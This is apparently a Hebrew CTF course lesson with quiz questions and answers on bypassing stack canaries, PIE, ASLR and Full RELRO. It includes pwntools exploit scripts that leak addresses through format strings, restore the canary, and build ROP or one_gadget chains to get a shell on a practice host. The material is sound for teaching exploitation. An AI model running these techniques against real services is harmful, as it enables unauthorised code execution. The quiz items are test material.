ASLR, PIE ו-Canary Bypass
ASLR, PIE ו-Canary Bypass — עקיפת כל ההגנות
תוכנות מודרניות מגיעות עם שלוש הגנות מרכזיות: ASLR, PIE ו-Stack Canary. שיעור זה מלמד מה כל הגנה עושה בדיוק — ואיך עוקפים כל אחת בנפרד ויחד.
- checksec — קריאת פלט וזיהוי ההגנות הפעילות
- Stack Canary — כיצד עובד ואיך לעקוף (Leak + Overwrite)
- ASLR — Randomization של כתובות וLeaks שעוקפים
- PIE — כתובות קוד randomized וOffset-based Exploit
- Format String Leak — הכלי לעקיפת Canary ו-PIE יחד
- Partial Overwrite — עקיפת ASLR ב-12 bits ידועים
- One_Gadget — Shell בגאדג'ט אחד
- Exploit מלא: כל ההגנות + Shell
checksec: קריאת ההגנות של Binary
הצעד הראשון בכל Pwn Challenge הוא checksec — כלי שקורא את הדגלים של ה-Binary ומציג אילו הגנות פעילות. כל שדה מספר סיפור אחר.
פלט checksec מלא — מה כל שדה אומר
$ checksec --file=./pwn_chal
Arch: amd64-64-little ← 64bit, Little Endian
RELRO: Full RELRO ← GOT מוגן מכתיבה (קשה לGOT Overwrite)
Stack: Canary found ← יש Stack Canary!
NX: NX enabled ← Stack לא ניתן להרצה (אין Shellcode)
PIE: PIE enabled ← כתובות קוד randomized (אין כתובות קבועות)
RUNPATH: No RPATH
# ─── פירוש מהיר ──────────────────────────────────────────
# Canary found + NX enabled + PIE enabled = 3 הגנות → ROP + Leak דרוש
# No Canary + NX enabled + No PIE = ret2libc קלאסי (שיעור 45)
# No Canary + NX disabled + No PIE = Shellcode ישיר (קל ביותר)
# ─── RELRO ─────────────────────────────────────────────
# No RELRO: GOT ניתן לכתיבה ולקריאה
# Partial: GOT ניתן לכתיבה (GOT Overwrite אפשרי!)
# Full RELRO: GOT Read-Only → צריך __free_hook / __malloc_hookטבלת החלטות לפי checksec
| Canary | NX | PIE | RELRO | שיטה |
|---|---|---|---|---|
| ✗ | ✗ | ✗ | No | Shellcode ישיר ב-Stack |
| ✗ | ✓ | ✗ | Partial | ret2libc / ROP + GOT Overwrite |
| ✓ | ✓ | ✗ | Full | Canary Leak → ROP → ret2libc |
| ✗ | ✓ | ✓ | Full | PIE Leak → ROP → ret2libc |
| ✓ | ✓ | ✓ | Full | Format String Leak (Canary+PIE) → ROP → Shell |
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)מה השיטה המתאימה לBinary זה?Stack Canary: עקיפת הגנת Stack
Stack Canary הוא ערך אקראי שמוכנס ב-Stack בין ה-Buffer לReturn Address. לפני חזרה מפונקציה, הBinary בודק שהCanary לא השתנה. Buffer Overflow שדורס אותו → abort().
כיצד Canary עובד
; ─── Stack Layout עם Canary (64bit) ─────────────────────────
;
; [High Address]
; ┌─────────────────────┐
; │ Return Address │ ← אם דורסים זה → RIP Hijack
; ├─────────────────────┤
; │ Saved RBP │
; ├─────────────────────┤
; │ CANARY VALUE │ ← ערך אקראי, נבדק לפני ret!
; ├─────────────────────┤ ← fs:[0x28] = מקור הCanary
; │ Local Variables │
; ├─────────────────────┤
; │ Buffer[64] │ ← BOF מתחיל כאן
; └─────────────────────┘
; [Low Address]
; ─── Assembly של Canary Check ────────────────────────────────
; פרולוג פונקציה — שמירת Canary:
mov rax, qword ptr fs:[0x28] ; טען Canary מ-TLS
mov qword ptr [rbp-8], rax ; שמור ב-Stack
; אפילוג — בדיקת Canary:
mov rax, qword ptr [rbp-8] ; טען מה-Stack
xor rax, qword ptr fs:[0x28] ; השווה למקורי
jne __stack_chk_fail ; שונה? → abort()!
ret ; זהה? → חזור כרגילעקיפת Canary — Leak ו-Restore
# ─── שיטה 1: Format String Leak ─────────────────────────────
# אם יש printf(buf) לפני הBOF:
# Canary נמצא ב-Stack ב-offset ידוע → %N$p חושף אותו
from pwn import *
conn = remote('ctf.example.com', 1337)
# שלח format string לLeak Stack:
conn.sendlineafter(b'name: ', b'%7$p.%8$p.%9$p.%10$p.%11$p')
leak_line = conn.recvline()
# נניח output: 0x1.0x7ffff7...0x3b.0x402010.0xd34db33f41424344
# Canary = ערך שה-LSB הוא 0x00 ו-MSB 0x00 (Canary תמיד מסתיים ב-\x00 ב-x64)
# ─── שיטה 2: Read Off-By-One / OOB Read ─────────────────────
# אם יש read/write שמאפשר לקרוא מעבר לbuffer:
# קרא את הbuffer + 8 bytes נוספים = מיקום הCanary
# ─── שיטה 3: Brute Force (32bit בלבד!) ──────────────────────
# ב-32bit: Canary = 4 bytes → 256^3 = 16M ניסיונות
# בפורקי-server: כל fork מקבל אותו Canary → BF אפשרי
# ב-64bit: 7 bytes random → 2^56 → לא מעשי
# ─── Payload עם Canary שנחשף ─────────────────────────────────
canary = 0xd34db33f41424344 # מהLeak
offset_to_canary = 64 # bytes מתחילת buffer לCanary
offset_to_ret = 64 + 8 + 8 # buffer + canary + saved rbp
payload = b'A' * offset_to_canary # fill buffer
payload += p64(canary) # שים Canary בחזרה!
payload += p64(0) # saved rbp (junk)
payload += p64(pop_rdi) # ROP Chain מתחיל
payload += p64(binsh_addr)
payload += p64(system_addr)! Canary תמיד מתחיל ב-\x00 ב-x64 ›
ב-64bit, הbyte הנמוך ביותר של ה-Canary הוא תמיד 0x00. זה מכוון! אם Canary מועתק כ-String (בstrcpy/printf/%s), ה-NULL byte עוצר את ההעתקה — מגן מLeak בדרך זו.
0x9a3fb200c1d7e400. מדוע הByte הנמוך 0x00?# Stack layout:
# [buf: 32 bytes][canary: 8][rbp: 8][ret: 8]
# Canary leaked = 0xdeadbeefcafe0000
# pop_rdi = 0x401234, binsh = 0x7f..., system = 0x7f...
payload = b'A' * 32
payload += p64(0xdeadbeefcafe0000) # canary
payload += p64(0) # rbp
payload += p64(0x401234) # ROP start
payload += p64(binsh_addr)
payload += p64(system_addr)מה יקרה לאחר שה-Payload נשלח?PIE Bypass: כתובות קוד Randomized
PIE (Position Independent Executable) גורם לכל הקוד להיטען לכתובת בסיס אקראית בכל הרצה. ROP Gadgets, פונקציות, כל כתובת בbinary — משתנה. אבל: ה-Offsets בתוך ה-binary קבועים.
PIE — עיקרון ו-Offset Calculation
# ─── בלי PIE ─────────────────────────────────────────────
# Binary נטען ל-0x400000 תמיד
# main @ 0x401234 (קבוע בכל הרצה)
# Gadgets @ 0x401500 (קבוע)
# ─── עם PIE ──────────────────────────────────────────────
# Binary נטען ל-כתובת אקראית בכל הרצה:
# הרצה 1: PIE_base = 0x555555554000, main @ 0x555555555234
# הרצה 2: PIE_base = 0x563b2a000000, main @ 0x563b2a001234
# הרצה 3: PIE_base = 0x7f8b3c000000, main @ 0x7f8b3c001234
# ^^^^^^^^^^^^
# תמיד: PIE_base + 0x1234
# ─── מה קבוע? ────────────────────────────────────────────
# OFFSET של main מתחילת ה-binary: תמיד 0x1234
# OFFSET של gadget: תמיד 0x1500
# שדות ה-.text: תמיד אותם offsets
# ─── Exploit עם PIE ───────────────────────────────────────
from pwn import *
elf = ELF('./pie_binary')
# אחרי Leak (ראה שלב הבא):
leaked_main = 0x563b2a001234 # מהLeak
pie_base = leaked_main - elf.sym['main'] # = 0x563b2a000000
# כעת כל כתובת = pie_base + offset:
pop_rdi_offset = 0x1500 # מ-ROPgadget (offset בלבד)
pop_rdi = pie_base + pop_rdi_offset # כתובת אמיתית בזמן ריצה!
win_func = pie_base + elf.sym['win'] # pwntools עושה את החיסורPIE Leak — שיטות
# ─── שיטה 1: Format String → Leak Return Address מה-Stack ──
# Return Address ב-Stack = PIE_base + offset_of_caller
# %N$p מ-Stack חושף return address → חסר offset → pie_base
conn.sendlineafter(b'> ', b'%15$p') # נסה params שונים
leak = int(conn.recvline().strip(), 16)
pie_base = leak - 0x1389 # offset של הcaller מה-main (מIDА/Ghidra)
# ─── שיטה 2: puts(elf.got['puts']) עם printf_leak ──────────
# אם PIE + Partial RELRO: GOT entry מכיל כתובת libc, לא binary
# אם PIE + Partial RELRO: כתובת ה-.text = pie_base + offset
# ─── שיטה 3: OOB Read / printf_leak ─────────────────────────
# puts(some_binary_function_addr) → Leak PIE pointer
# ─── ROPgadget עם PIE ────────────────────────────────────────
ROPgadget --binary ./pie_binary --rop | grep "pop rdi"
# 0x0000000000001500 : pop rdi ; ret
# ^^^^^^^^^^^^^^^^^^^ OFFSET (לא כתובת אמיתית — PIE binary!)
# כתובת אמיתית = pie_base + 0x1500pop rdi; ret @ 0x1500. מה הכתובת האמיתית בזמן ריצה?%21$p = 0x55d4a2001234. ב-IDA/Ghidra ראינו שכתובת הcaller היא offset 0x1234. מה pie_base?ASLR ו-one_gadget: Shell בגאדג'ט אחד
ASLR מרנדם את כתובות libc, Stack ו-Heap בכל הרצה. הדרך היחידה לעקוף אותו היא Leak — כתובת אחת מ-libc מספיקה לחישוב כל השאר. one_gadget מאפשר Shell בקפיצה אחת.
ASLR — מה מתרנדם ומה לא
| אזור | עם ASLR | ללא ASLR | הערות |
|---|---|---|---|
| libc (.so) | אקראי | קבוע | Leak 1 כתובת → חשב הכל |
| Stack | אקראי | קבוע | Stack Leak → Stack address |
| Heap | אקראי | קבוע | Heap Leak → Heap address |
| Binary (ללא PIE) | קבוע! | קבוע | ASLR לא משפיע על binary ללא PIE |
| Binary (עם PIE) | אקראי | — | PIE = ASLR לbinary עצמו |
one_gadget — Shell בגאדג'ט אחד
# ─── one_gadget ──────────────────────────────────────────────
# מחפש Gadgets ב-libc שמריצים execve("/bin/sh") ישירות!
# אין צורך ב: pop rdi + binsh_addr + system
# רק: JMP/CALL ל-one_gadget = Shell (אם constraints מתקיימים)
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
# ─── שימוש ב-Exploit ─────────────────────────────────────────
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# אחרי libc Leak:
libc.address = leaked_puts - libc.sym['puts']
# נסה one_gadgets לפי סדר (הראשון שConstraints שלו מתקיימים): 0xe3b31, 0xe3b34]
for og in one_gadgets:
og_addr = libc.address + og
payload = b'A' * offset + p64(og_addr)
# נסה — אם Shell: עצור. אם Crash: נסה הבאmain בזמן ריצה?leaked_puts = 0x7f3a8c456790
libc.sym['puts'] = 0x84790
libc.sym['system'] = 0x52290
libc.search(b'/bin/sh') → offset 0x1b45bd
libc.address = leaked_puts - libc.sym['puts']
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\x00'))
# מה binsh?Exploit מלא: Canary + PIE + ASLR → Shell
הנה ה-Exploit המלא עם כל ההגנות פעילות. שלושה שלבי Leak ואז Shell.
from pwn import *
elf = ELF('./full_protection')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
conn = remote('ctf.example.com', 1337)
# ═══ שלב 1: Format String Leak — Canary + PIE + libc ════════
# נניח: יש printf(buf) שמאפשר Format String
# Canary ב-param 11, return addr ב-param 13, libc ptr ב-param 15
conn.sendlineafter(b'msg: ', b'%11$p.%13$p.%15$p')
parts = conn.recvline().strip().split(b'.')
canary = int(parts[0], 16)
ret_leak = int(parts[1], 16) # return address בbinary
libc_leak = int(parts[2], 16) # כתובת libc
# ─── חשב Base Addresses ─────────────────────────────────────
pie_base = ret_leak - 0x1389 # offset של caller (מIDА)
libc.address = libc_leak - libc.sym['__libc_start_main'] - 231
log.success(f'Canary: {hex(canary)}')
log.success(f'PIE base: {hex(pie_base)}')
log.success(f'libc: {hex(libc.address)}')
# ─── Gadgets (PIE-relative) ──────────────────────────────────
rop = ROP(elf)
pop_rdi = pie_base + rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = pie_base + rop.find_gadget(['ret'])[0]
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
# ═══ שלב 2: BOF Payload עם Canary + ROP ════════════════════
OFFSET = 72 # bytes עד Canary (buffer + locals)
payload = b'A' * OFFSET # fill buffer
payload += p64(canary) # שים Canary חזרה!
payload += p64(0) # saved rbp
payload += p64(pop_rdi) # ROP: rdi = /bin/sh
payload += p64(binsh_addr)
payload += p64(ret_gadget) # alignment
payload += p64(system_addr) # system("/bin/sh")
conn.sendlineafter(b'msg: ', payload)
conn.interactive() # 🐚 SHELL!- checksec: קרא Canary/NX/PIE/RELRO → בחר שיטת Exploit מתאימה
- Stack Canary: ערך אקראי בין Buffer לReturn Address. Bypass: Leak + Restore
- Canary LSB = תמיד 0x00 — הגנה מString Leaks, אבל %p/%x יחשפו אותו
- PIE: כתובות Binary אקראיות. Offset קבוע. Bypass: Leak כתובת → pie_base = leaked - offset
- ASLR: libc/Stack/Heap אקראיים. Binary ללא PIE = קבוע! Bypass: Leak libc pointer
- Full RELRO: GOT Read-Only → כתוב ל-__free_hook / __malloc_hook במקום
- one_gadget: Gadget בlibc שמריץ execve("/bin/sh") ישירות. Constraints חייבים להתקיים
- Format String = כלי אחד לLeak Canary + PIE + libc בבת אחת
- Flow: Format Leak → חשב Bases → BOF עם Canary Restore + ROP → Shell
checksec ./chal:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledמה הסדר הנכון של הפעולות?# Stack: [buf:40][canary:8][rbp:8][ret:8]
# Format String Leak: %7$p = 0xabcdef1234560000
# (Canary נמצא ב-param 7)
canary = 0xabcdef1234560000
payload = b'A' * 40
payload += p64(canary)
payload += p64(0)
payload += p64(win_addr) # win() @ pie_base+0x1200
conn.sendlineafter(b'> ', payload)מה יקרה?תרגול נוסף — Forensics: Steganography ו-Logs
שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.
file secret.jpg וקיבלת Zip archive data. מה הפעולה הבאה?LSB Steganography?Failed password for root ... 50 ניסיונות בשנייה. מה קורה?אתגר מעשי — Checksec והקשחה
שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.
שאלות תרגול ותשובות (18)
שאלה 1.1 — קריאת checksec · Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)מה השיטה המתאימה לBinary זה?
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
- א. הזרקת Shellcode אל תוך ה-Stack והרצתו משם, אף שה-NX חוסם זאת לגמרי
- ב. ניצול מבוסס Heap (Heap Exploitation), שאינו רלוונטי כלל לבינארי הזה
- ג. דליפת Format String הכרחית כאן, אף שאין בבינארי שום פגיעות כזו כלל
- ד. ret2libc/ROP עם GOT Overwrite: אין Canary, NX פעיל, אין PIE, GOT כתיב
✓ תשובה: ד) — No Canary: BOF ישיר ללא Leak. NX: לא Shellcode, צריך ROP. No PIE: כתובות PLT/GOT קבועות (0x400xxx). Partial RELRO: GOT ניתן לכתיבה (GOT Overwrite אפשרי!). → ret2libc קלאסי מהשיעור הקודם.
שאלה 1.2 — Full RELRO · מדוע Full RELRO מקשה על GOT Overwrite?
- א. Full RELRO ממפה את ה-GOT כ-Read-Only, וכתיבה אליו גורמת ל-SIGSEGV
- ב. מכיוון שבמצב Full RELRO טבלת ה-GOT כלל אינה קיימת עוד בתוך הבינארי
- ג. מכיוון שמצב Full RELRO מצפין את כל טבלת ה-GOT ולכן אי אפשר לכתוב בה
- ד. מכיוון שמצב Full RELRO מסיר את טבלת ה-GOT לחלוטין מן הבינארי הזה כאן
✓ תשובה: א) — Partial RELRO: GOT writable (אפשר לכתוב לשם). Full RELRO: dynamic linker ממלא את כל ה-GOT בזמן loading ואז קורא mprotect להפוך אותו Read-Only. כתיבה → Crash. חלופות: __free_hook, __malloc_hook (libc), stack, heap.
שאלה 1.3 — Binary חדש · Binary עם: Canary ✓, NX ✓, PIE ✓, Full RELRO. איזה Leak צריך ראשון?
; ─── Stack Layout עם Canary (64bit) ───────────────────────── ; ; [High Address] ; ┌─────────────────────┐ ; │ Return Address │ ← אם דורסים זה → RIP Hijack ; ├─────────────────────┤ ; │ Saved RBP │ ; ├─────────────────────┤ ; │ CANARY VALUE │ ← ערך אקראי, נבדק לפני ret! ; ├─────────────────────┤ ← fs:[0x28] = מקור הCanary ; │ Local Variables │ ; ├─────────────────────┤ ; │ Buffer[64] │ ← BOF מתחיל כאן ; └─────────────────────┘ ; [Low Address] ; ─── Assembly של Canary Check ──────────────────────────────── ; פרולוג פונקציה — שמירת Canary: mov rax, qword ptr fs:[0x28] ; טען Canary מ-TLS mov qword ptr [rbp-8], rax ; שמור ב-Stack ; אפילוג — בדיקת Canary: mov rax, qword ptr [rbp-8] ; טען מה-Stack xor rax, qword ptr fs:[0x28] ; השווה למקורי jne __stack_chk_fail ; שונה? → abort()! ret ; זהה? → חזור כרגיל
- א. כל השלושה: Canary, בסיס PIE ובסיס libc; לרוב Format String נותן הכל
- ב. רק דליפת libc בלבד נדרשת כאן, שכן שאר ההגנות אינן מהוות כלל מכשול
- ג. רק דליפת ה-Canary בלבד נדרשת, שכן היא ההגנה המשמעותית היחידה כאן
- ד. רק דליפת בסיס ה-PIE בלבד נדרשת כדי לחשב את כתובות ה-Gadgets בקוד
✓ תשובה: א) — כאשר כל ההגנות פעילות, צריך 3 Leaks: Canary (כדי לשים אותו חזרה ב-BOF Payload), PIE base (Gadgets = PIE_base + offset), libc base (system+/bin/sh). Format String = כלי אחד לכולם.
שאלה 2.1 — Canary מנגנון · מה קורה כשBuffer Overflow דורס את ה-Canary ב-Stack?
- א. ה-Canary פשוט מאפס את עצמו וממשיך את ריצת התוכנית באופן תקין לגמרי
- ב. הבינארי ממשיך לרוץ כרגיל ורק מדפיס הודעת אזהרה קטנה אל המשתמש כאן
- ג. התהליך מקבל Segfault רגיל בלבד, ללא כל הודעה מיוחדת כלשהי על כך
- ד. באפילוג: בדיקת ה-Canary נכשלת ← __stack_chk_fail ← abort() לפני ret
✓ תשובה: ד) — הבדיקה ב-Assembly: xor rax, fs:[0x28]. אם הCanary בStack שונה → jne __stack_chk_fail. הפונקציה הזו מדפיסה "*** stack smashing detected ***" ומפעילה abort(). הProcess מת בSIGABRT, לא SIGSEGV.
שאלה 2.2 — Canary Bypass · הצלחנו לLeak את הCanary: 0x9a3fb200c1d7e400. מדוע הByte הנמוך 0x00?
0x9a3fb200c1d7e400
- א. זו שגיאה, שכן ערך ה-Canary לעולם אינו מתחיל כלל בבית 0x00 שכזה כאן
- ב. מכוון: GCC תמיד שם 0x00 ב-LSB כדי לעצור דליפה מבוססת-מחרוזת (%s)
- ג. מכיוון שערך ה-Canary תמיד מיושר ל-8 בתים, ומכאן הבית האפס שבקצה
- ד. מכיוון שערך ה-Canary נשמר תמיד בסדר Little Endian בתוך הזיכרון כאן
✓ תשובה: ב) — GCC מייצר Canary עם LSB=0x00 בכוונה. string functions (strcpy, puts, printf %s) עוצרות ב-NULL → לא יכולות לLeak את שאר הCanary. אבל: %p/%x בformat string, או read() שקורא bytes גולמיים, מאפשרים Leak של הCanary המלא.
שאלה 2.3 — Dry Run Payload · # Stack layout: # [buf: 32 bytes][canary: 8][rbp: 8][ret: 8] # Canary leaked = 0xdeadbeefcafe0000 # pop_rdi = 0x401234, binsh = 0x7f..., system = 0x7f... payload = b'A' * 32 payload += p64(0xdeadbeefcafe0000) # canary payload += p64(0) # rbp payload += p64(0x401234) # ROP start payload += p64(binsh_addr) payload += p64(system_addr)מה יקרה לאחר שה-Payload נשלח?
# Stack layout: # [buf: 32 bytes][canary: 8][rbp: 8][ret: 8] # Canary leaked = 0xdeadbeefcafe0000 # pop_rdi = 0x401234, binsh = 0x7f..., system = 0x7f... payload = b'A' * 32 payload += p64(0xdeadbeefcafe0000) # canary payload += p64(0) # rbp payload += p64(0x401234) # ROP start payload += p64(binsh_addr) payload += p64(system_addr)
- א. נגרם Crash מיידי, מכיוון שערך ה-Canary שנשלח אינו תקין כלל כאן כן
- ב. שרשרת ה-ROP אכן רצה עד תומה, אך בסופו של דבר אינה מפיקה שום Shell
- ג. ה-Canary עובר את הבדיקה (ערך זהה), וה-ROP רץ: system(binsh) → Shell
- ד. מופעל abort() בשל כשל בבדיקת ה-Canary עוד לפני שה-ROP בכלל מתחיל
✓ תשובה: ג) — הPayload: 32×'A' ממלא buffer. Canary = 0xdeadbeefcafe0000 = הערך שנחשף → עובר בדיקה! rbp=0 (junk). ret → pop_rdi. pop rdi=binsh. ret → system_addr. system("/bin/sh") → Shell!
שאלה 3.1 — PIE · ב-Binary עם PIE, ROPgadget מצא pop rdi; ret @ 0x1500. מה הכתובת האמיתית בזמן ריצה?
pop rdi; ret @ 0x1500
- א. pie_base + 0x1500: ב-PIE הכתובת 0x1500 היא רק היסט מבסיס משתנה
- ב. 0x1500 תמיד: הכתובת קבועה בכל הרצה ואינה תלויה כלל בבסיס ה-PIE כאן
- ג. 0x401500 תמיד: הכתובת הבסיסית הקבועה בתוספת ההיסט של ה-Gadget הזה
- ד. libc_base + 0x1500: ההיסט מחושב מבסיס ספריית libc ולא מבסיס ה-PIE
✓ תשובה: א) — PIE binary: ROPgadget מציג offsets (כתובות relative לתחילת הbinary = 0x0). בזמן ריצה: binary נטען ל-pie_base (אקראי). real_gadget = pie_base + offset. בלי PIE: binary נטען ל-0x400000 → כתובת = 0x400000 + offset = 0x401500.
שאלה 3.2 — PIE Leak · Format String Leak העלה: %21$p = 0x55d4a2001234. ב-IDA/Ghidra ראינו שכתובת הcaller היא offset 0x1234. מה pie_base?
%21$p = 0x55d4a2001234
- א. 0x55d4a2000000: pie_base הוא הכתובת שדלפה פחות ההיסט 0x1234 ממנה
- ב. 0x55d4a2001234: הכתובת שדלפה עצמה, ללא חיסור ההיסט 0x1234 ממנה כלל
- ג. 0x55d4a2001234 + 0x1234: חיבור ההיסט אל הכתובת במקום חיסורו ממנה
- ד. 0x1234: ההיסט עצמו בלבד, ללא צירופו כלל אל כתובת הבסיס שדלפה כאן
✓ תשובה: א) — pie_base = leaked - offset. leaked = 0x55d4a2001234. offset = 0x1234. pie_base = 0x55d4a2001234 - 0x1234 = 0x55d4a2000000. כל כתובת עכשיו = pie_base + offset_from_binary.
שאלה 3.3 — Partial Overwrite · מה הוא Partial Overwrite ומתי משתמשים בו?
# ─── one_gadget ──────────────────────────────────────────────
# מחפש Gadgets ב-libc שמריצים execve("/bin/sh") ישירות!
# אין צורך ב: pop rdi + binsh_addr + system
# רק: JMP/CALL ל-one_gadget = Shell (אם constraints מתקיימים)
$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
# ─── שימוש ב-Exploit ─────────────────────────────────────────
from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# אחרי libc Leak:
libc.address = leaked_puts - libc.sym['puts']
# נסה one_gadgets לפי סדר (הראשון שConstraints שלו מתקיימים):
one_gadgets = [0xe3b2e, 0xe3b31, 0xe3b34]
for og in one_gadgets:
og_addr = libc.address + og
payload = b'A' * offset + p64(og_addr)
# נסה — אם Shell: עצור. אם Crash: נסה הבא- א. כתיבה אל תוך חלק מה-Buffer בלבד, מבלי לגלוש כלל אל מעבר לגבולותיו
- ב. כתיבת 2 הבתים הנמוכים בלבד של כתובת החזרה; ב-PIE נדרש רק brute קטן
- ג. כתיבה אל תוך GOT entry חלקי בלבד כדי לשנות רק חלק מן הכתובת שבו
- ד. שיטה לרוקן את מטמון ה-tcache של המקצה (allocator) עוד לפני הניצול
✓ תשובה: ב) — כל כתובת PIE: [PIE_base אקראי][12 bits קבועים = offset בתוך Page]. כתיבת 2 bytes נמוכים = שינוי ה-12 bits הידועים + 4 bits אקראיים מה-PIE_base. 4 bits = 16 ניסיונות Brute Force. נפוץ כשיש Crash-and-Restart service.
שאלה 4.1 — ASLR · ב-Binary ללא PIE אבל עם ASLR, מה הכתובת של main בזמן ריצה?
main
- א. אקראית: מנגנון ה-ASLR מרנדם את כל הכתובות כולל את זו של main כאן כן
- ב. זה תלוי לחלוטין בגרסה הספציפית של ספריית libc המותקנת כעת במערכת
- ג. הכתובת 0x0 תמיד, מכיוון שהבינארי נטען למקום קבוע ומאופס בזיכרון כאן
- ד. קבועה: ASLR אינו משפיע על בינארי ללא PIE, שנטען תמיד אל 0x400000
✓ תשובה: ד) — ASLR (Address Space Layout Randomization) מרנדם: libc, Stack, Heap, vDSO. לא מרנדם: Binary עצמו (ללא PIE). אם checksec מציג "No PIE (0x400000)" → binary תמיד ב-0x400000 → main תמיד ב-offset ידוע.
שאלה 4.2 — one_gadget · מה יתרון one_gadget על שרשרת ROP רגילה (pop rdi + binsh + system)?
- א. מנגנון one_gadget פשוט רץ מהר יותר בזמן הריצה בפועל של הניצול הזה
- ב. מנגנון one_gadget אינו זקוק כלל לשלב Leak של כתובת ספריית libc כאן
- ג. מנגנון one_gadget עובד היטב גם ללא כל ידיעה של בסיס libc במערכת כאן
- ד. כתובת אחת ב-Payload במקום שלוש; שימושי במגבלת גודל או בשליטה ב-rdi
✓ תשובה: ד) — one_gadget = Gadget בlibc שמכיל כבר את כל הלוגיקה לexecve("/bin/sh"). Payload: b'A'*offset + p64(og_addr). רק 1 כתובת במקום 3+. אבל: Constraints — רגיסטרים מסוימים חייבים להיות NULL. לא תמיד עובד; לכן מנסים כמה gadgets.
שאלה 4.3 — Dry Run ASLR Bypass · leaked_puts = 0x7f3a8c456790 libc.sym['puts'] = 0x84790 libc.sym['system'] = 0x52290 libc.search(b'/bin/sh') → offset 0x1b45bd libc.address = leaked_puts - libc.sym['puts'] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh\x00')) # מה binsh?
leaked_puts = 0x7f3a8c456790 libc.sym['puts'] = 0x84790 libc.sym['system'] = 0x52290 libc.search(b'/bin/sh') → offset 0x1b45bd libc.address = leaked_puts - libc.sym['puts'] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh\x00')) # מה binsh?
- א. 0x1b45bd בלבד: ההיסט של המחרוזת בתוך libc, ללא צירופו כלל אל הבסיס
- ב. 0x7f3a8c456790 + 0x1b45bd: חיבור ההיסט אל כתובת puts שדלפה במקום לבסיס
- ג. libc.address + 0x1b45bd: בסיס libc בתוספת ההיסט של המחרוזת "/bin/sh"
- ד. 0x52290: ההיסט של הפונקציה system, שאינו קשור כלל אל המחרוזת "/bin/sh"
✓ תשובה: ג) — libc.address = 0x7f3a8c456790 - 0x84790 = 0x7f3a8c3d2000. binsh = libc.address + 0x1b45bd = 0x7f3a8c3d2000 + 0x1b45bd = 0x7f3a8c5865bd. pwntools: כשמגדירים libc.address, libc.sym['system'] וlibc.search מחזירים כבר כתובות מוחלטות!
גאמא סגנון א׳ · checksec ./chal: Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledמה הסדר הנכון של הפעולות?
checksec ./chal: Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
- א. BOF ישיר ← GOT Overwrite ← Shell, אף שכל ההגנות כאן פעילות כנגד זה כן
- ב. הזרקת Shellcode אל ה-Stack והרצתו משם, אף שה-NX המופעל חוסם זאת לגמרי
- ג. Format String Leak (Canary+PIE+libc) ← BOF עם Canary Restore ← ROP ← Shell
- ד. ריסוס Heap (Heap Spray) ואז קבלת Shell, שאינו רלוונטי כלל למצב הזה כאן
✓ תשובה: ג) — כל ההגנות פעילות: Canary → חייב Leak+Restore. PIE → חייב Leak+offset. NX → אין Shellcode, צריך ROP. Full RELRO → GOT R/O, אין GOT Overwrite. Flow: Leak הכל → BOF+Canary→ROP→system.
גאמא סגנון ב׳ — Dry Run Canary · # Stack: [buf:40][canary:8][rbp:8][ret:8] # Format String Leak: %7$p = 0xabcdef1234560000 # (Canary נמצא ב-param 7) canary = 0xabcdef1234560000 payload = b'A' * 40 payload += p64(canary) payload += p64(0) payload += p64(win_addr) # win() @ pie_base+0x1200 conn.sendlineafter(b'> ', payload)מה יקרה?
# Stack: [buf:40][canary:8][rbp:8][ret:8] # Format String Leak: %7$p = 0xabcdef1234560000 # (Canary נמצא ב-param 7) canary = 0xabcdef1234560000 payload = b'A' * 40 payload += p64(canary) payload += p64(0) payload += p64(win_addr) # win() @ pie_base+0x1200 conn.sendlineafter(b'> ', payload)
- א. ה-Canary עובר, ו-win() נקראת ← Flag/Shell; ה-LSB 0x00 תקין לבדיקה כאן
- ב. נגרם Crash, מכיוון שה-Canary אינו תקין בשל הבית הנמוך 0x00 שבתוכו כאן
- ג. ה-Canary עובר את הבדיקה, אך הכתובת win_addr שנשלחה אליו שגויה לגמרי
- ד. מנגנון ה-abort() מופעל בשל כשל שהתגלה בבדיקת ה-Canary כאן בעת ה-ret
✓ תשובה: א) — הCanary שנשלח = הCanary שנחשף → XOR = 0 → עובר בדיקה. p64(canary) = Little Endian, כולל ה-\x00 הנכון. rbp=0 (junk). ret → win_addr. win() מריצה → Flag. הPayload נכון!
